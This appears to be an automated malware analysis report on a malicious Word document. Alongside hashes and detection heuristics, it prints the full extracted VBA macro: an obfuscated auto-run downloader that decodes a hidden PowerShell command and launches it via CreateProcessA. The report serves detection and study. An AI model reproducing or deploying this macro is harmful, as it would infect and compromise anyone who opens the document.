Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d60f0400f8485957…

MALICIOUS

Office (OLE)

90.5 KB Created: 2018-01-23 19:38:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: a17c1d1a1f82f5b93a4a1633a07549d5 SHA-1: fc29f44e417ce06339347acbf447e56b0bca52c3 SHA-256: d60f0400f8485957ced67756b2541f1d46cdf2a3a01554e9e2016304f90927d6
200 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. Critical heuristics indicate exploitation of CVE-2007-3899, a memory corruption vulnerability, which is associated with the CreateProcess API. The presence of a Document_Open macro suggests immediate execution upon opening. The ClamAV detection name 'Doc.Downloader.Valyria-6666912-0' further supports the downloader functionality.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Valyria-6666912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6666912-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
End Sub
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    #End If
Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19394 bytes
SHA-256: 1c0bfdc3a9190bf91c954ab28ac78ade18ce5f5dfef7db7c6d5bd45e56f968e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 57 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then

    Private Type XG_QJ
        F_M As Long
        VB_AM As String
        F_ZH As String
        SK_PE As String
        YYI_J As Long
        A_M As Long
        ZLT_UT As Long
        PTY_HXH As Long
        NAD_JOM As Long
        M_PZ As Long
        IJ_U As Long
        G_FW As Long
        KD_H As Integer
        RSF_P As Integer
        VB_AM2  As LongPtr
        GKL_FI As LongPtr
        EE_X As LongPtr
        TX_VB As LongPtr
    End Type
    Private Type AC_UV
        F_M As Long
        VB_AM As String
        F_ZH As String
        SK_PE As String
        YYI_J As Long
        A_M As Long
        ZLT_UT As Long
        PTY_HXH As Long
        NAD_JOM As Long
        M_PZ As Long
        IJ_U As Long
        OA_APA As Long
        T_SM As Long
        G_TL As Long
        YU_KM As Long
    End Type
    Private Type D_HT
        F_M As Long
        NAD_JOM As Long
        M_PZ As Long
        IJ_U As Long
        BR_YJH As Long
        B_PMP As Long
        F_PW As Long
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal VN_Z As Long, ByVal OH_ZH As String, PB_ABQ As Any, PRM_SJ As Any, ByVal W_TPV As Long, ByVal AB_XN As Long, ByVal BT_I As Any, ByVal N_WTS As Long, MX_R As XG_QJ, VZG_UVO As U_BC) As LongPtr
        Private Type U_BC
        OA_APA As LongPtr
            T_SM As LongPtr
        G_TL As Long
        YU_KM As Long
    End Type
    
    Private Type MRG_AE
        BR_YJH As Long
        B_PMP As LongPtr
            F_PW As Long
    End Type
#Else
    Private Type D_HT
        F_M As Long
        NAD_JOM As Long
        M_PZ As Long
         VB_AM As String
        F_ZH As String
        SK_PE As String
        YYI_J As Long
        IJ_U As Long
        BR_YJH As Long
        B_PMP As Long
        F_PW As Long
    End Type
    Private Type XG_QJ
        F_M As Long
        VB_AM As String
        F_ZH As String
        SK_PE As String
        YYI_J As Long
        A_M As Long
        ZLT_UT As Long
        PTY_HXH As Long
        NAD_JOM As Long
        M_PZ As Long
        IJ_U As Long
        G_FW As Long
        KD_H As Integer
        RSF_P As Integer
        VB_AM2 As Long
        GKL_FI As Long
        EE_X As Long
        TX_VB As Long
    End Type
    Private Type MRG_AE
        BR_YJH As Long
        B_PMP As Long
        F_PW As Long
    End Type
    Private Type AC_UV
        F_M As Long
        VB_AM As String
        F_ZH As String
        SK_PE As String
        YYI_J As Long
        A_M As Long
        ZLT_UT As Long
        PTY_HXH As Long
        NAD_JOM As Long
        M_PZ As Long
        IJ_U As Long
        OA_APA As Long
        T_SM As Long
        G_TL As Long
        YU_KM As Long
    End Type
Private Declare Function CreateProcessA Lib "Kernel32" (ByVal VN_Z As Long, ByVal OH_ZH As String, PB_ABQ As MRG_AE, PRM_SJ As MRG_AE, ByVal W_TPV As Long, ByVal AB_XN As Long, ByVal BT_I As Long, ByVal N_WTS As Long, MX_R As XG_QJ, VZG_UVO As U_BC) As Long
            Private Type U_BC
        OA_APA As Long
        T_SM As Long
        G_TL As Long
        YU_KM As Long
    End Type
    
    
#End If
Sub Workbook_Open()
    Document_Open
End Sub
Public Sub HV_L()
   V_B (XG_J)
End Sub
Public Sub Document_Open()
    Dim LC_ANO As String
LC_ANO = "7D70AB7053838C70474E813F58607F703A703B8B70AE707081706C3D6870709759577F70705A708370939E8338A670706370707A8670708554477F7080617070317070AD705039704B90B07970A97C3670844D93A6B070796937703470436E9A53A5705A7070705B70A170A"
Dim MC_A As String
MC_A = "8593D7070347070708F7092707C74707C36A4385247574570529870A770367099505D9D6770417B91707070A483B05770707087437037708635967070707F5C487B4536937070AB705B47704576814470384C433E7770604E7077707070957056579870707070908C706471"
Dim K_NDV As String
K_NDV = "70467070AEAC6C4E70957070A7AA70705E707070A5796B9E5BAEA6707070AB70707070709D703A70A8707070AB7070701B8370AE70418270707070705E707070707070707870939FAB7070707C70AC70597076AF4E704C5B91707072708070567070333C9F70704B7770704"
Dim I_R As String
I_R = "24570705A703579706D703B70A670708F5270705470A07071A965703E70947070AB4A7D3D70484270748570708E70707076707070AE8370707070707B6B707070705C8C6970703A7070709A70704C7070408C9B5F8E70703F479870A6398C417070636B709E70704A70704F"
Dim LM_V As String
LM_V = "623E7070AB5C709F709F5F707070707034AE703FA77070954F7070AA469F9070703A7070707039A034705170447E46A170706D8570708D70707070703970707094707081707079707070705D7070703370574C7085707FA06470497970AE70707070813C70708E706D70326"
Dim XET_JW As String
XET_JW = "7705832707870A858707070709E4A707D4070A93E82709187727070709E706A707870709C3B59437070634470A996534A9F709B6D4A70597A705370733B9C707070568D70703670969370A67E91704CAB7056AC7070707070AB9936699A70708F8E7070706E707070704270"
Dim NXP_Q As String
NXP_Q = "7070703790A7707053704E7070839670705D7070707033777070707070575070707070707070706C709670707059815970704A353E70705B70707E9188A4703A7070AC3D708437657070705C7070A06F70AE929C70B08E70705F3BA6A77081997047567074708770705E8B7"
Dim DB_IXF As String
DB_IXF = "F707070747053707070703C764F4070567070927070A87070B070704957707070553F7B706A7A855E8A703A3B70647062705870906CAD86704C57707070488D524070707066583E707070AB707065708D7070907040887033AC5E70707070AF9E7076707070707032705470"
Dim D_KW As String
D_KW = "8F72703570AA7091707039637070413B7070708B70709990547070B0865470708070706A65654F70536D8385707070AA707261347059708A8770AB677C70854741708A707F70707070A6A4463C75705670707A709670706970708B70B07089706E704997705C58707091647"
Dim UNX_RNS As String
UNX_RNS = "0707E423586A5A0707070764B70709E70837054704C4770A770703370523B709CA4707070877F3C9970797070707070708571706D7070A170707870A370AA70707070457037707049668F7071705A387070705C5F706B7143623F70707074707070867070707E757054916B"
Dim PNI_OQ As String
PNI_OQ = "707170709D9B707070707070707070B0704B6370709B705241B070603BAD707070707C5E707070327070434AA9873D7070519F709E4E707A705D8E70707F706470829770837070AA706F703F70386054977070615A479AA070539C8D99916D4370525870998258707033606"
Dim QF_OS As String
QF_OS = "F516B70565E956B707034706C70659E70484D6E7070607070707045B0726C57705B807090775F3556705E70847070657070708270A83B70757056587098857070705C70706A703DAC8470707E7061709492707070A332718B319F70457070508052A270707070709C817053"
Dim TX_PD As String
TX_PD = "707470957670753E54707070707070708E5F683FA339AA7070707070377070693B5B7070987070727070706D7070703BA77070A270707070709F7078626A70503D7070A37E709D7085704070556D5A483A70A3A070607E548A7070704270417036706038677070705A9E4E7"
Dim BO_KTW As String
BO_KTW = "07047707076706F90707492708970497070A4A670707B70903D53704570768143897D733B477093857070709383707099664D70708C4070928C7054707C6C704270706D70AE7070439D657D707070A4645170A07088707A7070A5707070967070817070A270709870707070"
Dim OJW_GC As String
OJW_GC = "709F8F70709D709F704470AD70707160AE707060706270BF583870A3709FB0A3817070703970708670A5707070577098513D70707070707037757070787D797070AE707F7070707045707070706F70703B70927064707070533370617080597070499CA2A9708B695096707"
Dim XA_SO As String
XA_SO = "0503A453770336E707063807070899170509689834C707070A18B567D5A70707070704A707EAF42707070707051707049703E709634636C64A47048897070707034707770A148704182434178706A707041707058A77070AC7070705C3E6E777070706E7070706455857051"
Dim GXR_XWE As String
GXR_XWE = "5B709FA6707070707070709054706F34707074707080709470997F70335251707075987070917070703170707095609CA09F7C927E77704370757865709D707070947070658E705E75707F70708670708E707070AC57737070A3704D8F816B70947533819B706742704E4E7"
Dim B_HJ As String
B_HJ = "0705B708C708E705070704EA652703870707070A17076728395B0709270578F3A70389A70AD7032AA4C7058705FA070A470707F5A626D707B395C703F704C70709C7070703B6B70AA85704A7066416E7044924170A07070A491549C8E7070995270AC70707070708D576175"
Dim YR_S As String
YR_S = "7070707038847070425A4A7170563F70537070708086707060709E8F9C609B86707070B07070708270887070706A6CB070A06A70ACA6AC4F8DAF70707098A086A59A9C9C703E7074AB707059707070655370704C49437235706A4F704B707071705DAC707070707038AD708"
Dim P_SC As String
P_SC = "3967070707070A46B8C885A988D707091AD54706A936297839570A7564270A470669D7E3F7070707077705470995C7070797031709A5C9B705275707070457BE7705797AF707070AA4C703E70706A6A70709B7070783B3270706E45707062709270358A6C70704E617F6870"
Dim TQJ_HN As String
TQJ_HN = "908B7C707168705E709F4C967070707D703C70706965706570A8707070594D7070705670707065327570709B7058807032A670705248AB346E7085A5796D7056703770707096A870707D70476FAB5948708F8B6832707091707099AF70707070709A79707370999E705E707"
Dim GXA_I As String
GXA_I = "070BF6DAC7070AD5470865A7070707057547065909E427051707070707A707058627070A08570706B709E707084709DA4703B4F70798870704D70697070999F7092873B70707090567070708394708770707070707070718470AD707035705C706D479A706C597653703E70"
Dim X_NWS As String
X_NWS = "7092949C8D547070707091709370AAAC7070985770A070707F7070707370AE705F4AA95C7056709B70A87070AA707070709F8C70707070A07A7039555D70AA7C70429133A26FAA70706652707D918370706770AA52707EAE7096707076A7706C8670708070459B707070847"
Dim NT_FS As String
NT_FS = "07254706F4A837070705A709D4370707070A7705EAF707098703B525E70807082706C70AD867070396D5C70AF6D729170404DA170AD705D5870AB7870AB70704CA07A4D8D70707070567370477093707070A664707057AA9C86AF7170707C70827094707075657052708588"
Dim U_HOD As String
U_HOD = "7091427048AF44513670988F79703741707070AB92707070AE987042709970703C7570595D705B70707D357058705EA0974570AE7070997070707040707070AA707070707070707045704170706A70707070837055705870B032A27045703F3B80709C70709A70706C46707"
Dim C_X As String
C_X = "0A23370B070706A8058705E89705C706F477070A3378C707070557040707165AD8470545A7E7070A19F6F70706E70558A3EA69C7070707044469D7053A264497070707D707170547070707049707070707070707262466984717E703BAF5F70537362707070797057517055"
Dim HNK_UII As String
HNK_UII = "5F84707070787E7070363C70AD38907070707088707097704F387049AB516F703B70707072706170704E67A07B709496507070A294708E7055705A779F707070709181707D7081707070AD707089704C70707064707070A5707070707C7070703445777C7051706570AF5E5"
Dim JF_MG As String
JF_MG = "A70837096707070706B705997707077613A70387070707070704D4AA27B7078B05B7070687070758C3CA3707063706F7E557770337C48427039807070708F4F61708E7B704F708D7070557070AAAA70707D3470756444705D60A663707073708270333270348359707070A2"
Dim PSU_O As String
PSU_O = "704670827070AD70707070A1704E7070927070946F7087A8A87070707070707070A14A70707070708DAD7037708B707B703E7042708E70703B7070706C997070703970703770706070A270707C8C7070706C908B73374470757070707070706856A9703E70A170705B70705"
Dim D_QI As String
D_QI = "85867849170706C917F6070AB70598A65703F7056705670706A54A0AE608744703E8B577048708F7070707F727047706A4C497075AD42A170707D487070709F9870A37D7041707070705F61AE94703D7074456E76706A70704C70A09D49707470933F70703B8D5F7070707048AF703C4A70706252696A817070707060487068703270724B703A704770AF4970AA70679584703C43705A70AA7070469D707042708470AE7070703370803C8370"

    HV_L
End Sub
Public Function XG_J() As String
    Dim QES_PUD As String
QES_PUD = QES_PUD + "A1A0A896A"
QES_PUD = QES_PUD + "3A499969D"
QES_PUD = QES_PUD + "9D5F96A99"
QES_PUD = QES_PUD + "6515E889A"
QES_PUD = QES_PUD + "9F95A0A88"
QES_PUD = QES_PUD + "4A5AA9D96"
QES_PUD = QES_PUD + "51799A959"
QES_PUD = QES_PUD + "5969F515E"
QES_PUD = QES_PUD + "9FA0A1A3A"
QES_PUD = QES_PUD + "0979A9D9651"
QES_PUD = QES_PUD + "7A975159A596A4A55EA192A599515155969FA76B72818175728572515C51588DA1A69F9B5F96A996585A51AC83969EA0A7965E7AA5969E515155969FA76B72818175728572515C51588DA1A69F9B5F96A9965"
Dim T_M As String
T_M = "8AE6C51557C757773516E517F96A85E80939B9694A55184AAA4A5969E5F7F96A55F889693749D9A969FA56C51557C7577735F7996929596A3A48C5886A496A35E7298969FA5588E516E515886848386765E87"
Dim WPF_K As String
WPF_K = "7F74586C51557C7577735F75A0A89F9DA09295779A9D96595899A5A5A16B6060A6A6A4A09F98A4A19294965F94A09E6095A3A0A194A09F9F9694A560A4A5A6935F96A996585D5155969FA76B7281817572857"
Dim V_DO As String
V_DO = "2515C51588DA1A69F9B5F96A996585A6C51597F96A85E80939B9694A5515E94A09E518499969D9D5F72A1A19D9A9492A59AA09F5A5F8499969D9D76A99694A6A5965955969FA76B72818175728572515C51588DA1A69F9B5F96A996585A6C5184A5A0A15E81A3A09496A4A4515E7A955155819A95515E77A0A39496"
 Dim N_VCX As String
  N_VCX = QES_PUD & T_M & WPF_K & V_DO

   Dim TR_E As Long
   Dim J_JK As String
   Dim GO_RVY As String
   For TR_E = 1 To Len(N_VCX) Step 2
        GO_RVY = Chr("&H" & Mid(N_VCX, TR_E, 2))
        J_JK = J_JK & Chr(Asc(GO_RVY) - 49)
   Next
   XG_J = J_JK
End Function
Public Function V_B(ByVal IS_BFY As String)
    Dim T_B As MRG_AE
    Dim E_Q As MRG_AE
    Dim X_I As XG_QJ
    X_I.G_FW = &H1&
    Dim N_CNQ As U_BC
    V_B = CreateProcessA(0&, IS_BFY, T_B, E_Q, False, &H20&, 0&, 0&, X_I, N_CNQ)
    Dim TL_TXG As String
TL_TXG = "A88A7070704F5D70707070707C7070A6486D9D9E88704F7C70847059EA704B7270807070647070AFAA70704832706E707070467F7070AF6B9F61A17035474832707070A568707088A970707AAA6570707B6A70707070A770707533A68FAB9370708EAB707048417070704065706B70707B705F8"
Dim H_QZL As String
H_QZL = "2717041557070AF70704BA6AB7070704F707070703470707070703B9C704470657695A09B7057327060709770707094A95270798E706E70A6703670A5A56E3870779EA19870708B706970586C64704C70707A987057A87067513D55707070707F44AC707071A07056464670737070517070708E"
Dim TFK_W As String
TFK_W = "9F707B7070706AA444E5707070398A706174707070427070706770876A7070747080623C34706685427A7066707070705482A7706069663E423470707070707F7059705D70707C707C70703370865663709E4370535170707070637084707092595A707055706FA24D703C9D7092707069AF707"
Dim NH_MY As String
NH_MY = "061706859A3B07D707070AD5C7070157045376D76577049709C703D70567070709F70707070708041709A7070707070708B707D4070447070707039707048707033385267706688705A3370705748AB707067704A707070707D704C449170707070407070709D9E707C707070917071554F9470"
Dim IX_RU As String
IX_RU = "7066A25A7370574B7451674B703548707082A270707070708B70976D706D70613F7051AB8070787038707070707A899B7070703C90706870657070A270937070706D968D337065705B705170534D70999A58709E33AB8B73987E707070707D6E4C703E703E704870766670487543707039AB6C7"
Dim XCK_W As String
XCK_W = "05F70703C4A707070A86194707040708B709B707076705C546C70947E4170707C7070664A4D4845704C6570707038707070708065ADAD70A7984670704670807070703A989481709CA4A47097708370709D707070A6709C3670703896A270AF705370707077AD704D70703A3970407070701A8F"
Dim QL_LFH As String
QL_LFH = "7070967070937070709369707042757070707070467070943E707075A070445085567C70927070709C5684834470C26F685A70707070AC606B8570709C70705070708D7048706770A48158706D3769708B70976F705870706C7063706E59703B7070A570E87070705E419A9670377A868770703"
Dim Q_Z As String
Q_Z = "2665765706770707043706A63A48F407070707770706E927070A970967070705970707E9D50706A4670705F7067708D7070707070704570709270753C8F5C5DA03A70707C705E3E707096647070704D7070815A5F65AD70703C8070703A707033985D4170647670AC704E517070966670597070"
Dim JV_NDU As String
JV_NDU = "70337170953E6A717F7849708B7061709F70AA7070877070478C4A70704A7070704070705788707070357064A68170709170708D707070708570703970727066877C337C70629F47707070AC5CA370707083704D54447D7070707070709BA6705A7FAC70609370A1703AA27070A470A47070707"
Dim G_UIP As String
G_UIP = "070607068707070AF79727050677033A84A8098A37055814A70A570447060703F70704B70A0758670AA6358705582706BA2708B96748471707096587070704A8570AC7070383870707070A07070708170704F70708183AD4C70705F70843F667F7070709AAB709C708B704A7075864F64707570"
Dim OQ_T As String
OQ_T = "3C5B8138708D577070854D70AB70706870804D7870707033709B7070A270709A74707070AE4E8F7070377070705A706F704D707065705E70707070545893705562707070AD70707057AA70708870A6A87070A8707070707070545D709370708E3D7270346463753337A1704B70939E427F9F708"
Dim I_TI As String
I_TI = "9767056707E70707070477070706470707F6370AB54E0448C704B727070488C4C70709690A993A18A70A470706A61AD70579B67324F2BA8467085533735705E48664C5070AA3A707047A370AE70703C80AD70564A70707094704D67709F7070527092709D705D68697079707070704870706538"
Dim PLN_C As String
PLN_C = "707059A538867070377070708C7094727040707070857693707071704F5A7054836A867047847170623670526D705C703CAAA8404C85704248708E90A67070586169705A703E709A706F537070707093794E9D447038708875707070705F85759F703541337070703E8770637075787070705D7"
Dim J_D As String
J_D = "0854570617070709DA4704070708F7070908E4F70366F5B70316F705C703270708A8570A16074A84570B07095707099A2797070993F8D37704E707A7078703E6B3C36707042614B70709C708C963D4B704F707863707C707042705F698470705B707070679D707070707070A04270A470947070"
Dim M_V As String
M_V = "7970707070A74FAFA9704864706CA26B70937070AE7070708B555C313F70AC7070707047577D70707F6670709A3F657083AE8B70708E83704368707B4EA170555985708A8B4570707078A4354C70467091706E51683E707070444542A76270707093468A70766F7070707746707077708470707"
Dim JTI_T As String
JTI_T = "03570775D70703170ACA68B70706870704C4BAF9A839D70A370704E709554A5437570A2705E43A46E6F83867061836E9C70687066477070B07049707070488370A09A9F783D703A70715C31487070707093A37070705F487080A470708BA86B34365470707090945F7070709E70705B33967098"
Dim VHV_XO As String
VHV_XO = "45706C888A704C403A70704470707070333F707070739770707092A48842707070707070794F703F68708A70507095499370706D7070707042707070707060A8705B5C697E917070703BAB5870AA703F70707070700270A18BB07070707070705D7032703D867070A770643A5D7080706070607"
Dim K_YP As String
K_YP = "470707070705E708BA67076707070A57060708F487057428E7074706170708C70704C707164707070A5A9709D71708F7070753170705D70A7A9A174705B7062706A708264AB8F3670705E9E704E67705D868F7070705A4B70FE703F7B707070387070847070706C70703970843D357070A47060"
Dim BBI_P As String
BBI_P = "817C70689C70704170897070544770697070704F7070954270A07070A56470837099544D6D447070626F52706E707058704170805556A77882503770843770904A4570A27049707070577076637055707D855472444A70707070B09D707E704B7070A17070708E70AE7070706662458B706C707"
Dim CBP_EH As String
CBP_EH = "0707C3145867070577CAE6B709886709D7070AF709B703270707055A2A27070687E70A170653B703C878E37709070709C31399570709B43354870A57070707F704A704570707FA49E3D7070927070807037707070703670607070706FA4707070707070A570708F7070707D36557070439C7041"
Dim IVH_IA As String
IVH_IA = "3F6A9D707070E081704C70705069715A7053705A70707070A3705C3970487092704647707A703933613B707070707370A66370AD70703199707055DC3540707097447070707070A5707050448B703A7070704070704670709F9876885D70704E709B5F5170777087709770707070707093863E7"
Dim Z_ZH As String
Z_ZH = "08670704E7056679F62797051327F70704B70785B9670517070707A70707070A070603470AA418A5568709D70AA709570706B706E5B4D817068AE7055ACB070A39A7036997070A770375E70705E707070539C588C757070367070A66570707070A17070707070408055709B7B83817070AE8D70"
Dim XE_CY As String
XE_CY = "7C3E70697070437032708EA54670A57070705C7870483D5170A670977070705C8D7470933170A57070703F7070AB85707070888245706432AA8C4455707096706249703A43707FA56AB0703AA78A93515B707070707870AC91707291704D707070937070705C70704870705B7051707070533D705988707A70703B3D449D947091707031707070703D70E3708170977A9E707070706E7069704B527070627070708E708688967A709F704F706E7017709B70A070709F95707070A97049707070703A8149AB7070756A70A370706EAD705A4170338B706B7070706470AD7070"

End Function

Open this report in the interactive analyzer, or submit your own file for analysis.